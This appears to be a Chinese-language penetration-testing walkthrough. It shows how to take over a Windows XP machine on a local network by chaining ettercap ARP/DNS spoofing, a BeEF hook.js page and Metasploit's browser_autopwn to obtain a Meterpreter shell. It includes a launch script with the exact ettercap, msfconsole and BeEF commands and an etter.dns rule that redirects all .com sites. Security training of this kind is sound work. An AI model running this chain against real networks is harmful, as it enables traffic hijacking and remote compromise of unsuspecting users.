在内网渗透方面,最为大众所知道的就是xp系统的ms08067漏洞,通过这个漏洞可以对未打上补丁的xp系统实现getshell,
但是经过笔者发现,这种漏洞攻击在被攻击机开上windows防火墙的时候是没用的(连ping都会被拒绝),但是arp+dns欺骗仍然是可行的
那么问题来了,我们如何通过内网欺骗来getshell?
在被攻击机开启防火墙的时候,可以看到使用ms08067漏洞未能成功利用
但是由于是内网的特性,因此我想到利用dns欺骗结合metasploit进行渗透测试。
首先内网的arp欺骗或者dns欺骗利用ettercap我们可以成功做到,但是如何将metasploit结合起来变得很难。经过搜寻后,发现利用metasploit的browser_autopwn这个渗透测试模块(这个渗透测试模块集成了很多浏览器的漏洞,当用户在访问所给定的页面后就会执行浏览器漏洞,并将payload捆绑在notepad.exe,从而实现后续的渗透攻击),我们可以将两者结合起来。这里我们将会用到beef这个xss渗透测试框架。
具体做法是我们首先探测目标主机的网络流量,判断其经常所浏览的网页,这里假设是百度(www.baidu.com),之后我们利用dns欺骗将百度网址改为我们所建设的一个网站,这个网站里镶嵌了一个JavaScript,而这个JavaScript的作用就是xss攻击,当用户访问了这个网页,就会进入我们设下的“圈套”。
之后我们在beef里就可以对上线主机进行渗透测试,最终获得shell。这里我们在beef里使用页面重定向,将用户访问的假的页面重定向到broswer_autopwn所给定的页面(这里有一个小问题,就是我在进行dns欺骗的时候,为什么不直接将目标主机访问的网页重定向到这里所给定的页面,原先我的初衷是搭建一个钓鱼网站,这样会更具有迷惑性,同时用户在浏览网页时会占据大量时间,而这些时间我们就可以在beef里进行渗透尝试,但是后期在构造钓鱼网站的时候,那个JavaScript脚本总是不起作用,因此也就随便搭建了一个网站),这时候metasploit就能探测目标浏览器的漏洞从而完成渗透攻击。
接下来我将演示如何通过dns欺骗配合metasploit成功进行渗透测试。
下面是我写的一个配置脚本,总的来说一共有三个功能,一打开Apache服务器,即可以让别人访问我们的web服务器,二新建一个shell窗口打开ettercap并实现dns欺骗,三激活Beef浏览器测试框架并与metasploit相连接,即可以在Beef浏览器测试框架中使用metasploit所提供的渗透测试模块。
#openbeef.sh service apache2 start service postgresql start gnome-terminal -x bash -c "ettercap -T -q -i eth0 -P dns_spoof -M arp /// ///" gnome-terminal -x bash -c "msfconsole -r Beef.rc" sleep 20 cd /usr/share/beef-xss/ ./beef -x
激活Beef,可以看到Hook.js,我在网页源码上加入了这个JavaScript脚本,实现了xss自动攻击。
这个主要是ettercap文本界面,并且对所有的内网主机进行arp欺骗,同时使用dns_spoof插件进行dns欺骗。
这个主要是实现metasploit与Beef的互相连接,在使用Beef框架进行渗透测试时,可以使用metasploit所提供的测试模块。
这个是beef浏览器渗透测试框架的基本页面,下面我们开始对目标主机进行渗透测试。由于我在etter.dns中写的是www.*.com A 192.168.73.128,因此目标主机访问任何页面都将跳转到我设置好的带有js脚本的页面。
可以看到xp主机访问的是www.baidu.com,但是经过dns欺骗访问到了我们先前设置好的界面。同时我们回到beef界面,可以发现这台xp主机已经在渗透测试对象中了,关于他的浏览器信息也是一应俱全。
同时在command选项中,我们也可以看到诸多渗透测试模块,包括metasploit、Social Engineering、Broswer等。
接下来我们利用metasploit中的broswer_autopwn测试模块,对用户所访问的界面进行页面重定向,将其定向到这个测试模块给出的页面(http://192.168.73.128:8080/qWhOf0KS),让其自动进行浏览器的漏洞检测与渗透。
这时候我们进行页面重定向,将用户的界面重定向到http://192.168.73.128:8080/qWhOf0KS。
这时候我们发现xp的浏览器页面变成了正在跳转,但是在metasploit中已经默默对浏览器的漏洞进行探测,并且将payload捆绑到notepad.exe
我们回到metasploit界面发现已经建立了session,并且进程也已经转移到了安全的地方。
利用meterpreter,我们已经成功返回了一个shell,完成渗透测试。